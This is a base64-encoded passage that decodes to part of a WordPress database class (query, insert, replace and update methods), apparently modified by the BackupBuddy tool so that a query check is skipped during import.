G9uIGVycm9yCgkgKi8KCXB1YmxpYyBmdW5jdGlvbiBxdWVyeSggJHF1ZXJ5ICkgewoJCWlmICggISAkdGhpcy0+cmVhZHkgKSB7CgkJCS8vIEJhY2t1cEJ1ZGR5OiBSZW1vdmVkIGZvbGxvd2luZyBsaW5lLgoJCQkvLyR0aGlzLT5jaGVja19jdXJyZW50X3F1ZXJ5ID0gdHJ1ZTsKCQkJcmV0dXJuIGZhbHNlOwoJCX0KCgkJLyoqCgkJICogRmlsdGVyIHRoZSBkYXRhYmFzZSBxdWVyeS4KCQkgKgoJCSAqIFNvbWUgcXVlcmllcyBhcmUgbWFkZSBiZWZvcmUgdGhlIHBsdWdpbnMgaGF2ZSBiZWVuIGxvYWRlZCwKCQkgKiBhbmQgdGh1cyBjYW5ub3QgYmUgZmlsdGVyZWQgd2l0aCB0aGlzIG1ldGhvZC4KCQkgKgoJCSAqIEBzaW5jZSAyLjEuMAoJCSAqCgkJICogQHBhcmFtIHN0cmluZyAkcXVlcnkgRGF0YWJhc2UgcXVlcnkuCgkJICovCgkJJHF1ZXJ5ID0gYXBwbHlfZmlsdGVycyggJ3F1ZXJ5JywgJHF1ZXJ5ICk7CgoJCSR0aGlzLT5mbHVzaCgpOwoKCQkvLyBMb2cgaG93IHRoZSBmdW5jdGlvbiB3YXMgY2FsbGVkCgkJJHRoaXMtPmZ1bmNfY2FsbCA9ICJcJGRiLT5xdWVyeShcIiRxdWVyeVwiKSI7CgoJCS8vIElmIHdlJ3JlIHdyaXRpbmcgdG8gdGhlIGRhdGFiYXNlLCBtYWtlIHN1cmUgdGhlIHF1ZXJ5IHdpbGwgd3JpdGUgc2FmZWx5LgoJCWlmICggJHRoaXMtPmNoZWNrX2N1cnJlbnRfcXVlcnkgJiYgISAkdGhpcy0+Y2hlY2tfYXNjaWkoICRxdWVyeSApICkgewoJCQkkc3RyaXBwZWRfcXVlcnkgPSAkdGhpcy0+c3RyaXBfaW52YWxpZF90ZXh0X2Zyb21fcXVlcnkoICRxdWVyeSApOwoJCQkvLyBzdHJpcF9pbnZhbGlkX3RleHRfZnJvbV9xdWVyeSgpIGNhbiBwZXJmb3JtIHF1ZXJpZXMsIHNvIHdlIG5lZWQKCQkJLy8gdG8gZmx1c2ggYWdhaW4sIGp1c3QgdG8gbWFrZSBzdXJlIGV2ZXJ5dGhpbmcgaXMgY2xlYXIuCgkJCSR0aGlzLT5mbHVzaCgpOwoJCQlpZiAoICRzdHJpcHBlZF9xdWVyeSAhPT0gJHF1ZXJ5ICkgewoJCQkJJHRoaXMtPmluc2VydF9pZCA9IDA7CgkJCQlyZXR1cm4gZmFsc2U7CgkJCX0KCQl9CgoJCS8vIEJhY2t1cEJ1ZGR5OiBDaGFuZ2VkIGZvbGxvd2luZyBsaW5lIGZyb20gdHJ1ZSB0byBmYWxzZS4gRG9uJ3QgcnVuIHRoaXMgY2hlY2sgZXZlciBkdXJpbmcgaW1wb3J0LgoJCSR0aGlzLT5jaGVja19jdXJyZW50X3F1ZXJ5ID0gZmFsc2U7IC8vIHdhczogdHJ1ZQoKCQkvLyBLZWVwIHRyYWNrIG9mIHRoZSBsYXN0IHF1ZXJ5IGZvciBkZWJ1Zy4uCgkJJHRoaXMtPmxhc3RfcXVlcnkgPSAkcXVlcnk7CgoJCSR0aGlzLT5fZG9fcXVlcnkoICRxdWVyeSApOwoKCQkvLyBNeVNRTCBzZXJ2ZXIgaGFzIGdvbmUgYXdheSwgdHJ5IHRvIHJlY29ubmVjdAoJCSRteXNxbF9lcnJubyA9IDA7CgkJaWYgKCAhIGVtcHR5KCAkdGhpcy0+ZGJoICkgKSB7CgkJCWlmICggJHRoaXMtPnVzZV9teXNxbGkgKSB7CgkJCQkkbXlzcWxfZXJybm8gPSBteXNxbGlfZXJybm8oICR0aGlzLT5kYmggKTsKCQkJfSBlbHNlIHsKCQkJCSRteXNxbF9lcnJubyA9IG15c3FsX2Vycm5vKCAkdGhpcy0+ZGJoICk7CgkJCX0KCQl9CgoJCWlmICggZW1wdHkoICR0aGlzLT5kYmggKSB8fCAyMDA2ID09ICRteXNxbF9lcnJubyApIHsKCQkJaWYgKCAkdGhpcy0+Y2hlY2tfY29ubmVjdGlvbigpICkgewoJCQkJJHRoaXMtPl9kb19xdWVyeSggJHF1ZXJ5ICk7CgkJCX0gZWxzZSB7CgkJCQkkdGhpcy0+aW5zZXJ0X2lkID0gMDsKCQkJCXJldHVybiBmYWxzZTsKCQkJfQoJCX0KCgkJLy8gSWYgdGhlcmUgaXMgYW4gZXJyb3IgdGhlbiB0YWtlIG5vdGUgb2YgaXQuLgoJCWlmICggJHRoaXMtPnVzZV9teXNxbGkgKSB7CgkJCSR0aGlzLT5sYXN0X2Vycm9yID0gbXlzcWxpX2Vycm9yKCAkdGhpcy0+ZGJoICk7CgkJfSBlbHNlIHsKCQkJJHRoaXMtPmxhc3RfZXJyb3IgPSBteXNxbF9lcnJvciggJHRoaXMtPmRiaCApOwoJCX0KCgkJaWYgKCAkdGhpcy0+bGFzdF9lcnJvciApIHsKCQkJLy8gQ2xlYXIgaW5zZXJ0X2lkIG9uIGEgc3Vic2VxdWVudCBmYWlsZWQgaW5zZXJ0LgoJCQlpZiAoICR0aGlzLT5pbnNlcnRfaWQgJiYgcHJlZ19tYXRjaCggJy9eXHMqKGluc2VydHxyZXBsYWNlKVxzL2knLCAkcXVlcnkgKSApCgkJCQkkdGhpcy0+aW5zZXJ0X2lkID0gMDsKCgkJCSR0aGlzLT5wcmludF9lcnJvcigpOwoJCQlyZXR1cm4gZmFsc2U7CgkJfQoKCQlpZiAoIHByZWdfbWF0Y2goICcvXlxzKihjcmVhdGV8YWx0ZXJ8dHJ1bmNhdGV8ZHJvcClccy9pJywgJHF1ZXJ5ICkgKSB7CgkJCSRyZXR1cm5fdmFsID0gJHRoaXMtPnJlc3VsdDsKCQl9IGVsc2VpZiAoIHByZWdfbWF0Y2goICcvXlxzKihpbnNlcnR8ZGVsZXRlfHVwZGF0ZXxyZXBsYWNlKVxzL2knLCAkcXVlcnkgKSApIHsKCQkJaWYgKCAkdGhpcy0+dXNlX215c3FsaSApIHsKCQkJCSR0aGlzLT5yb3dzX2FmZmVjdGVkID0gbXlzcWxpX2FmZmVjdGVkX3Jvd3MoICR0aGlzLT5kYmggKTsKCQkJfSBlbHNlIHsKCQkJCSR0aGlzLT5yb3dzX2FmZmVjdGVkID0gbXlzcWxfYWZmZWN0ZWRfcm93cyggJHRoaXMtPmRiaCApOwoJCQl9CgkJCS8vIFRha2Ugbm90ZSBvZiB0aGUgaW5zZXJ0X2lkCgkJCWlmICggcHJlZ19tYXRjaCggJy9eXHMqKGluc2VydHxyZXBsYWNlKVxzL2knLCAkcXVlcnkgKSApIHsKCQkJCWlmICggJHRoaXMtPnVzZV9teXNxbGkgKSB7CgkJCQkJJHRoaXMtPmluc2VydF9pZCA9IG15c3FsaV9pbnNlcnRfaWQoICR0aGlzLT5kYmggKTsKCQkJCX0gZWxzZSB7CgkJCQkJJHRoaXMtPmluc2VydF9pZCA9IG15c3FsX2luc2VydF9pZCggJHRoaXMtPmRiaCApOwoJCQkJfQoJCQl9CgkJCS8vIFJldHVybiBudW1iZXIgb2Ygcm93cyBhZmZlY3RlZAoJCQkkcmV0dXJuX3ZhbCA9ICR0aGlzLT5yb3dzX2FmZmVjdGVkOwoJCX0gZWxzZSB7CgkJCSRudW1fcm93cyA9IDA7CgkJCWlmICggJHRoaXMtPnVzZV9teXNxbGkgJiYgJHRoaXMtPnJlc3VsdCBpbnN0YW5jZW9mIG15c3FsaV9yZXN1bHQgKSB7CgkJCQl3aGlsZSAoICRyb3cgPSBAbXlzcWxpX2ZldGNoX29iamVjdCggJHRoaXMtPnJlc3VsdCApICkgewoJCQkJCSR0aGlzLT5sYXN0X3Jlc3VsdFskbnVtX3Jvd3NdID0gJHJvdzsKCQkJCQkkbnVtX3Jvd3MrKzsKCQkJCX0KCQkJfSBlbHNlaWYgKCBpc19yZXNvdXJjZSggJHRoaXMtPnJlc3VsdCApICkgewoJCQkJd2hpbGUgKCAkcm93ID0gQG15c3FsX2ZldGNoX29iamVjdCggJHRoaXMtPnJlc3VsdCApICkgewoJCQkJCSR0aGlzLT5sYXN0X3Jlc3VsdFskbnVtX3Jvd3NdID0gJHJvdzsKCQkJCQkkbnVtX3Jvd3MrKzsKCQkJCX0KCQkJfQoKCQkJLy8gTG9nIG51bWJlciBvZiByb3dzIHRoZSBxdWVyeSByZXR1cm5lZAoJCQkvLyBhbmQgcmV0dXJuIG51bWJlciBvZiByb3dzIHNlbGVjdGVkCgkJCSR0aGlzLT5udW1fcm93cyA9ICRudW1fcm93czsKCQkJJHJldHVybl92YWwgICAgID0gJG51bV9yb3dzOwoJCX0KCgkJcmV0dXJuICRyZXR1cm5fdmFsOwoJfQoKCS8qKgoJICogSW50ZXJuYWwgZnVuY3Rpb24gdG8gcGVyZm9ybSB0aGUgbXlzcWxfcXVlcnkoKSBjYWxsLgoJICoKCSAqIEBzaW5jZSAzLjkuMAoJICoKCSAqIEBhY2Nlc3MgcHJpdmF0ZQoJICogQHNlZSB3cGRiOjpxdWVyeSgpCgkgKgoJICogQHBhcmFtIHN0cmluZyAkcXVlcnkgVGhlIHF1ZXJ5IHRvIHJ1bi4KCSAqLwoJcHJpdmF0ZSBmdW5jdGlvbiBfZG9fcXVlcnkoICRxdWVyeSApIHsKCQlpZiAoIGRlZmluZWQoICdTQVZFUVVFUklFUycgKSAmJiBTQVZFUVVFUklFUyApIHsKCQkJJHRoaXMtPnRpbWVyX3N0YXJ0KCk7CgkJfQoKCQlpZiAoICR0aGlzLT51c2VfbXlzcWxpICkgewoJCQkkdGhpcy0+cmVzdWx0ID0gQG15c3FsaV9xdWVyeSggJHRoaXMtPmRiaCwgJHF1ZXJ5ICk7CgkJfSBlbHNlIHsKCQkJJHRoaXMtPnJlc3VsdCA9IEBteXNxbF9xdWVyeSggJHF1ZXJ5LCAkdGhpcy0+ZGJoICk7CgkJfQoJCSR0aGlzLT5udW1fcXVlcmllcysrOwoKCQlpZiAoIGRlZmluZWQoICdTQVZFUVVFUklFUycgKSAmJiBTQVZFUVVFUklFUyApIHsKCQkJJHRoaXMtPnF1ZXJpZXNbXSA9IGFycmF5KCAkcXVlcnksICR0aGlzLT50aW1lcl9zdG9wKCksICR0aGlzLT5nZXRfY2FsbGVyKCkgKTsKCQl9Cgl9CgoJLyoqCgkgKiBJbnNlcnQgYSByb3cgaW50byBhIHRhYmxlLgoJICoKCSAqICAgICB3cGRiOjppbnNlcnQoICd0YWJsZScsIGFycmF5KCAnY29sdW1uJyA9PiAnZm9vJywgJ2ZpZWxkJyA9PiAnYmFyJyApICkKCSAqICAgICB3cGRiOjppbnNlcnQoICd0YWJsZScsIGFycmF5KCAnY29sdW1uJyA9PiAnZm9vJywgJ2ZpZWxkJyA9PiAxMzM3ICksIGFycmF5KCAnJXMnLCAnJWQnICkgKQoJICoKCSAqIEBzaW5jZSAyLjUuMAoJICogQHNlZSB3cGRiOjpwcmVwYXJlKCkKCSAqIEBzZWUgd3BkYjo6JGZpZWxkX3R5cGVzCgkgKiBAc2VlIHdwX3NldF93cGRiX3ZhcnMoKQoJICoKCSAqIEBwYXJhbSBzdHJpbmcgICAgICAgJHRhYmxlICBUYWJsZSBuYW1lCgkgKiBAcGFyYW0gYXJyYXkgICAgICAgICRkYXRhICAgRGF0YSB0byBpbnNlcnQgKGluIGNvbHVtbiA9PiB2YWx1ZSBwYWlycykuCgkgKiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQm90aCAkZGF0YSBjb2x1bW5zIGFuZCAkZGF0YSB2YWx1ZXMgc2hvdWxkIGJlICJyYXciIChuZWl0aGVyIHNob3VsZCBiZSBTUUwgZXNjYXBlZCkuCgkgKiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgU2VuZGluZyBhIG51bGwgdmFsdWUgd2lsbCBjYXVzZSB0aGUgY29sdW1uIHRvIGJlIHNldCB0byBOVUxMIC0gdGhlIGNvcnJlc3BvbmRpbmcgZm9ybWF0IGlzIGlnbm9yZWQgaW4gdGhpcyBjYXNlLgoJICogQHBhcmFtIGFycmF5fHN0cmluZyAkZm9ybWF0IE9wdGlvbmFsLiBBbiBhcnJheSBvZiBmb3JtYXRzIHRvIGJlIG1hcHBlZCB0byBlYWNoIG9mIHRoZSB2YWx1ZSBpbiAkZGF0YS4KCSAqICAgICAgICAgICAgICAgICAgICAgICAgICAgICBJZiBzdHJpbmcsIHRoYXQgZm9ybWF0IHdpbGwgYmUgdXNlZCBmb3IgYWxsIG9mIHRoZSB2YWx1ZXMgaW4gJGRhdGEuCgkgKiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQSBmb3JtYXQgaXMgb25lIG9mICclZCcsICclZicsICclcycgKGludGVnZXIsIGZsb2F0LCBzdHJpbmcpLgoJICogICAgICAgICAgICAgICAgICAgICAgICAgICAgIElmIG9taXR0ZWQsIGFsbCB2YWx1ZXMgaW4gJGRhdGEgd2lsbCBiZSB0cmVhdGVkIGFzIHN0cmluZ3MgdW5sZXNzIG90aGVyd2lzZSBzcGVjaWZpZWQgaW4gd3BkYjo6JGZpZWxkX3R5cGVzLgoJICogQHJldHVybiBpbnR8ZmFsc2UgVGhlIG51bWJlciBvZiByb3dzIGluc2VydGVkLCBvciBmYWxzZSBvbiBlcnJvci4KCSAqLwoJcHVibGljIGZ1bmN0aW9uIGluc2VydCggJHRhYmxlLCAkZGF0YSwgJGZvcm1hdCA9IG51bGwgKSB7CgkJcmV0dXJuICR0aGlzLT5faW5zZXJ0X3JlcGxhY2VfaGVscGVyKCAkdGFibGUsICRkYXRhLCAkZm9ybWF0LCAnSU5TRVJUJyApOwoJfQoKCS8qKgoJICogUmVwbGFjZSBhIHJvdyBpbnRvIGEgdGFibGUuCgkgKgoJICogICAgIHdwZGI6OnJlcGxhY2UoICd0YWJsZScsIGFycmF5KCAnY29sdW1uJyA9PiAnZm9vJywgJ2ZpZWxkJyA9PiAnYmFyJyApICkKCSAqICAgICB3cGRiOjpyZXBsYWNlKCAndGFibGUnLCBhcnJheSggJ2NvbHVtbicgPT4gJ2ZvbycsICdmaWVsZCcgPT4gMTMzNyApLCBhcnJheSggJyVzJywgJyVkJyApICkKCSAqCgkgKiBAc2luY2UgMy4wLjAKCSAqIEBzZWUgd3BkYjo6cHJlcGFyZSgpCgkgKiBAc2VlIHdwZGI6OiRmaWVsZF90eXBlcwoJICogQHNlZSB3cF9zZXRfd3BkYl92YXJzKCkKCSAqCgkgKiBAcGFyYW0gc3RyaW5nICAgICAgICR0YWJsZSAgVGFibGUgbmFtZQoJICogQHBhcmFtIGFycmF5ICAgICAgICAkZGF0YSAgIERhdGEgdG8gaW5zZXJ0IChpbiBjb2x1bW4gPT4gdmFsdWUgcGFpcnMpLgoJICogICAgICAgICAgICAgICAgICAgICAgICAgICAgIEJvdGggJGRhdGEgY29sdW1ucyBhbmQgJGRhdGEgdmFsdWVzIHNob3VsZCBiZSAicmF3IiAobmVpdGhlciBzaG91bGQgYmUgU1FMIGVzY2FwZWQpLgoJICogICAgICAgICAgICAgICAgICAgICAgICAgICAgIFNlbmRpbmcgYSBudWxsIHZhbHVlIHdpbGwgY2F1c2UgdGhlIGNvbHVtbiB0byBiZSBzZXQgdG8gTlVMTCAtIHRoZSBjb3JyZXNwb25kaW5nIGZvcm1hdCBpcyBpZ25vcmVkIGluIHRoaXMgY2FzZS4KCSAqIEBwYXJhbSBhcnJheXxzdHJpbmcgJGZvcm1hdCBPcHRpb25hbC4gQW4gYXJyYXkgb2YgZm9ybWF0cyB0byBiZSBtYXBwZWQgdG8gZWFjaCBvZiB0aGUgdmFsdWUgaW4gJGRhdGEuCgkgKiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgSWYgc3RyaW5nLCB0aGF0IGZvcm1hdCB3aWxsIGJlIHVzZWQgZm9yIGFsbCBvZiB0aGUgdmFsdWVzIGluICRkYXRhLgoJICogICAgICAgICAgICAgICAgICAgICAgICAgICAgIEEgZm9ybWF0IGlzIG9uZSBvZiAnJWQnLCAnJWYnLCAnJXMnIChpbnRlZ2VyLCBmbG9hdCwgc3RyaW5nKS4KCSAqICAgICAgICAgICAgICAgICAgICAgICAgICAgICBJZiBvbWl0dGVkLCBhbGwgdmFsdWVzIGluICRkYXRhIHdpbGwgYmUgdHJlYXRlZCBhcyBzdHJpbmdzIHVubGVzcyBvdGhlcndpc2Ugc3BlY2lmaWVkIGluIHdwZGI6OiRmaWVsZF90eXBlcy4KCSAqIEByZXR1cm4gaW50fGZhbHNlIFRoZSBudW1iZXIgb2Ygcm93cyBhZmZlY3RlZCwgb3IgZmFsc2Ugb24gZXJyb3IuCgkgKi8KCXB1YmxpYyBmdW5jdGlvbiByZXBsYWNlKCAkdGFibGUsICRkYXRhLCAkZm9ybWF0ID0gbnVsbCApIHsKCQlyZXR1cm4gJHRoaXMtPl9pbnNlcnRfcmVwbGFjZV9oZWxwZXIoICR0YWJsZSwgJGRhdGEsICRmb3JtYXQsICdSRVBMQUNFJyApOwoJfQoKCS8qKgoJICogSGVscGVyIGZ1bmN0aW9uIGZvciBpbnNlcnQgYW5kIHJlcGxhY2UuCgkgKgoJICogUnVucyBhbiBpbnNlcnQgb3IgcmVwbGFjZSBxdWVyeSBiYXNlZCBvbiAkdHlwZSBhcmd1bWVudC4KCSAqCgkgKiBAYWNjZXNzIHByaXZhdGUKCSAqIEBzaW5jZSAzLjAuMAoJICogQHNlZSB3cGRiOjpwcmVwYXJlKCkKCSAqIEBzZWUgd3BkYjo6JGZpZWxkX3R5cGVzCgkgKiBAc2VlIHdwX3NldF93cGRiX3ZhcnMoKQoJICoKCSAqIEBwYXJhbSBzdHJpbmcgICAgICAgJHRhYmxlICBUYWJsZSBuYW1lCgkgKiBAcGFyYW0gYXJyYXkgICAgICAgICRkYXRhICAgRGF0YSB0byBpbnNlcnQgKGluIGNvbHVtbiA9PiB2YWx1ZSBwYWlycykuCgkgKiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQm90aCAkZGF0YSBjb2x1bW5zIGFuZCAkZGF0YSB2YWx1ZXMgc2hvdWxkIGJlICJyYXciIChuZWl0aGVyIHNob3VsZCBiZSBTUUwgZXNjYXBlZCkuCgkgKiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgU2VuZGluZyBhIG51bGwgdmFsdWUgd2lsbCBjYXVzZSB0aGUgY29sdW1uIHRvIGJlIHNldCB0byBOVUxMIC0gdGhlIGNvcnJlc3BvbmRpbmcgZm9ybWF0IGlzIGlnbm9yZWQgaW4gdGhpcyBjYXNlLgoJICogQHBhcmFtIGFycmF5fHN0cmluZyAkZm9ybWF0IE9wdGlvbmFsLiBBbiBhcnJheSBvZiBmb3JtYXRzIHRvIGJlIG1hcHBlZCB0byBlYWNoIG9mIHRoZSB2YWx1ZSBpbiAkZGF0YS4KCSAqICAgICAgICAgICAgICAgICAgICAgICAgICAgICBJZiBzdHJpbmcsIHRoYXQgZm9ybWF0IHdpbGwgYmUgdXNlZCBmb3IgYWxsIG9mIHRoZSB2YWx1ZXMgaW4gJGRhdGEuCgkgKiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQSBmb3JtYXQgaXMgb25lIG9mICclZCcsICclZicsICclcycgKGludGVnZXIsIGZsb2F0LCBzdHJpbmcpLgoJICogICAgICAgICAgICAgICAgICAgICAgICAgICAgIElmIG9taXR0ZWQsIGFsbCB2YWx1ZXMgaW4gJGRhdGEgd2lsbCBiZSB0cmVhdGVkIGFzIHN0cmluZ3MgdW5sZXNzIG90aGVyd2lzZSBzcGVjaWZpZWQgaW4gd3BkYjo6JGZpZWxkX3R5cGVzLgoJICogQHBhcmFtIHN0cmluZyAkdHlwZSAgICAgICAgIE9wdGlvbmFsLiBXaGF0IHR5cGUgb2Ygb3BlcmF0aW9uIGlzIHRoaXM/IElOU0VSVCBvciBSRVBMQUNFLiBEZWZhdWx0cyB0byBJTlNFUlQuCgkgKiBAcmV0dXJuIGludHxmYWxzZSBUaGUgbnVtYmVyIG9mIHJvd3MgYWZmZWN0ZWQsIG9yIGZhbHNlIG9uIGVycm9yLgoJICovCglmdW5jdGlvbiBfaW5zZXJ0X3JlcGxhY2VfaGVscGVyKCAkdGFibGUsICRkYXRhLCAkZm9ybWF0ID0gbnVsbCwgJHR5cGUgPSAnSU5TRVJUJyApIHsKCQkkdGhpcy0+aW5zZXJ0X2lkID0gMDsKCgkJaWYgKCAhIGluX2FycmF5KCBzdHJ0b3VwcGVyKCAkdHlwZSApLCBhcnJheSggJ1JFUExBQ0UnLCAnSU5TRVJUJyApICkgKSB7CgkJCXJldHVybiBmYWxzZTsKCQl9CgoJCSRkYXRhID0gJHRoaXMtPnByb2Nlc3NfZmllbGRzKCAkdGFibGUsICRkYXRhLCAkZm9ybWF0ICk7CgkJaWYgKCBmYWxzZSA9PT0gJGRhdGEgKSB7CgkJCXJldHVybiBmYWxzZTsKCQl9CgoJCSRmb3JtYXRzID0gJHZhbHVlcyA9IGFycmF5KCk7CgkJZm9yZWFjaCAoICRkYXRhIGFzICR2YWx1ZSApIHsKCQkJaWYgKCBpc19udWxsKCAkdmFsdWVbJ3ZhbHVlJ10gKSApIHsKCQkJCSRmb3JtYXRzW10gPSAnTlVMTCc7CgkJCQljb250aW51ZTsKCQkJfQoKCQkJJGZvcm1hdHNbXSA9ICR2YWx1ZVsnZm9ybWF0J107CgkJCSR2YWx1ZXNbXSAgPSAkdmFsdWVbJ3ZhbHVlJ107CgkJfQoKCQkkZmllbGRzICA9ICdgJyAuIGltcGxvZGUoICdgLCBgJywgYXJyYXlfa2V5cyggJGRhdGEgKSApIC4gJ2AnOwoJCSRmb3JtYXRzID0gaW1wbG9kZSggJywgJywgJGZvcm1hdHMgKTsKCgkJJHNxbCA9ICIkdHlwZSBJTlRPIGAkdGFibGVgICgkZmllbGRzKSBWQUxVRVMgKCRmb3JtYXRzKSI7CgoJCSR0aGlzLT5jaGVja19jdXJyZW50X3F1ZXJ5ID0gZmFsc2U7CgkJcmV0dXJuICR0aGlzLT5xdWVyeSggJHRoaXMtPnByZXBhcmUoICRzcWwsICR2YWx1ZXMgKSApOwoJfQoKCS8qKgoJICogVXBkYXRlIGEgcm93IGluIHRoZSB0YWJsZQoJICoKCSAqICAgICB3cGRiOjp1cGRhdGUoICd0YWJsZScsIGFycmF5KCAnY29sdW1uJyA9PiAnZm9vJywgJ2ZpZWxkJyA9PiAnYmFyJyApLCBhcnJheSggJ0lEJyA9PiAxICkgKQoJICogICAgIHdwZGI6OnVwZGF0ZSggJ3RhYmxlJywgYXJyYXkoICdjb2x1bW4nID0+ICdmb28nLCAnZmllbGQnID0+IDEzMzcgKSwgYXJyYXkoICdJRCcgPT4gMSApLCBhcnJheSggJyVzJywgJyVkJyApLCBhcnJheSggJyVkJyApICkKCSAqCgkgKiBAc2luY2UgMi41LjAKCSAqIEBzZWUgd3BkYjo6cHJlcGFyZSgpCgkgKiBAc2VlIHdwZGI6OiRmaWVsZF90eXBlcwoJICogQHNlZSB3cF9zZXRfd3BkYl92YXJzKCkKCSAqCgkgKiBAcGFyYW0gc3RyaW5nICAgICAgICR0YWJsZSAgICAgICAgVGFibGUgbmFtZQoJICogQHBhcmFtIGFycmF5ICAgICAgICAkZGF0YSAgICAgICAgIERhdGEgdG8gdXBkYXRlIChpbiBjb2x1bW4gPT4gdmFsdWUgcGFpcnMpLgoJICogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEJvdGggJGRhdGEgY29sdW1ucyBhbmQgJGRhdGEgdmFsdWVzIHNob3VsZCBiZSAicmF3IiAobmVpdGhlciBzaG91bGQgYmUgU1FMIGVzY2FwZWQpLgoJICogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFNlbmRpbmcgYSBudWxsIHZhbHVlIHdpbGwgY2F1c2UgdGhlIGNvbHVtbiB0byBiZSBzZXQgdG8gTlVMTCAtIHRoZSBjb3JyZXNwb25kaW5nCgkgKiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZm9ybWF0IGlzIGlnbm9yZWQgaW4gdGhpcyBjYXNlLgoJICogQHBhcmFtIGFycmF5ICAgICAgICAkd2hlcmUgICAgICAgIEEgbmFtZWQgYXJyYXkgb2YgV0hFUkUgY2xhdXNlcyAoaW4gY29sdW1uID0+IHZhbHVlIHBhaXJzKS4KCSAqICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBNdWx0aXBsZSBjbGF1c2VzIHdpbGwgYmUgam9pbmVkIHdpdGggQU5Ecy4KCSAqICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBCb3RoICR3aGVyZSBjb2x1bW5zIGFuZCAkd2hlcmUgdmFsdWVzIHNob3VsZCBiZSAicmF3Ii4KCSAqICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBTZW5kaW5nIGEgbnVsbCB2YWx1ZSB3aWxsIGNyZWF0ZSBhbiBJUyBOVUxMIGNvbXBhcmlzb24gLSB0aGUgY29ycmVzcG9uZGluZyBmb3JtYXQgd2lsbCBiZSBpZ25vcmVkIGluIHRoaXMgY2FzZS4KCSAqIEBwYXJhbSBhcnJheXxzdHJpbmcgJGZvcm1hdCAgICAgICBPcHRpb25hbC4gQW4gYXJyYXkgb2YgZm9ybWF0cyB0byBiZSBtYXBwZWQgdG8gZWFjaCBvZiB0aGUgdmFsdWVzIGluICRkYXRhLgoJICogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIElmIHN0cmluZywgdGhhdCBmb3JtYXQgd2lsbCBiZSB1c2VkIGZvciBhbGwgb2YgdGhlIHZhbHVlcyBpbiAkZGF0YS4KCSAqICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBBIGZvcm1hdCBpcyBvbmUgb2YgJyVkJywgJyVmJywgJyVzJyAoaW50ZWdlciwgZmxvYXQsIHN0cmluZykuCgkgKiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgSWYgb21pdHRlZCwgYWxsIHZhbHVlcyBpbiAkZGF0YSB3aWxsIGJlIHRyZWF0ZWQgYXMgc3RyaW5ncyB1bmxlc3Mgb3RoZXJ3aXNlIHNwZWNpZmllZCBpbiB3cGRiOjokZmllbGRfdHlwZXMuCgkgKiBAcGFyYW0gYXJyYXl8c3RyaW5nICR3aGVyZV9mb3JtYXQgT3B0aW9uYWwuIEFuIGFycmF5IG9mIGZvcm1hdHMgdG8gYmUgbWFwcGVkIHRvIGVhY2ggb2YgdGhlIHZhbHVlcyBpbiAkd2hlcmUuCgkgKiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgSWYgc3RyaW5nLCB0aGF0IGZvcm1hdCB3aWxsIGJlIHVzZWQgZm9yIGFsbCBvZiB0aGUgaXRlbXMgaW4gJHdoZXJlLgoJICogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEEgZm9ybWF0IGlzIG9uZSBvZiAnJWQnLCAnJWYnLCAnJXMnIChpbnRlZ2VyLCBmbG9hdCwgc3RyaW5nKS4KCSAqICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBJZiBvbWl0dGVkLCBhbGwgdmFsdWVzIGluICR3aGVyZSB3aWxsIGJlIHRyZWF0ZWQgYXMgc3RyaW5ncy4KCSAqIEByZXR1cm4gaW50fGZhbHNlIFRoZSBudW1iZXIgb2Ygcm93cyB1cGRhdGVkLCBvciBmYWxzZSBvbiBlcnJvci4KCSAqLwoJcHVibGljIGZ1bmN0aW9uIHVwZGF0ZSggJHRhYmxlLCAkZGF0YSwgJHdoZXJlLCAkZm9ybWF0ID0gbnVsbCwgJHdoZXJlX2Zvcm1hdCA9IG51bGwgKSB7CgkJaWYgKCAhIGlzX2FycmF5KCAkZGF0YSApIHx8ICEgaXNfYXJyYXkoICR3aGVyZSApICkgewoJCQlyZXR1cm4gZmFsc2U7CgkJfQoKCQkkZGF0YSA9ICR0aGlzLT5wcm9jZXNzX2ZpZWxkcyggJHRhYmxlLCAkZGF0YSwgJGZvcm1hdCApOwoJCWlmICggZmFsc2UgPT09ICRkYXRhICkgewoJCQlyZXR1cm4gZmFsc2U7CgkJfQoJCSR3aGVyZSA9ICR0aGlzLT5wcm9jZXNzX2ZpZWxkcyggJHRhYmxlLCAkd2hlcmUsICR3aGVyZV9mb3JtYXQgKTsKCQlpZiAoIGZhbHNlID09PSAkd2hlcmUgKSB7CgkJCXJldHVybiBmYWxzZTsKCQl9CgoJCSRmaWVsZHMgPSAkY29uZGl0aW9ucyA9ICR2YWx1ZXMgPSBhcnJheSgpOwoJCWZvcmVhY2ggKCAkZGF0YSBhcyAkZmllbGQgPT4gJHZhbHVlICkgewoJCQlpZiAoIGlzX251bGwoICR2YWx1ZVsndmFsdWUnXSApICkgewoJCQkJJGZpZWxkc1tdID0gImAkZmllbGRgID0gTlVMTCI7CgkJCQljb250aW51ZTsKCQkJfQoKCQkJJGZpZWxkc1tdID0gImAkZmllbGRgID0gIiAuICR2YWx1ZVsnZm9ybWF0J107CgkJCSR2YWx1ZXNbXSA9ICR2YWx1ZVsndmFsdWUnXTsKCQl9CgkJZm9yZWFjaCAoICR3aGVyZSBhcyAkZmllbGQgPT4gJHZhbHVlICkgewoJCQlpZiAoIGlzX251bGwoICR2YWx1ZVsndmFsdWUnXSApICkgewoJCQkJJGNvbmRpdGlvbnNbXSA9ICJgJGZpZWxkYCBJUyBOVUxMIjsKCQkJCWNvbnRpbnVlOwoJCQl9CgoJCQkkY29uZGl0aW9uc1tdID0gImAkZmllbGRgID0gIiAuICR2YWx1ZVsnZm9ybWF0J107CgkJCSR2YWx1ZX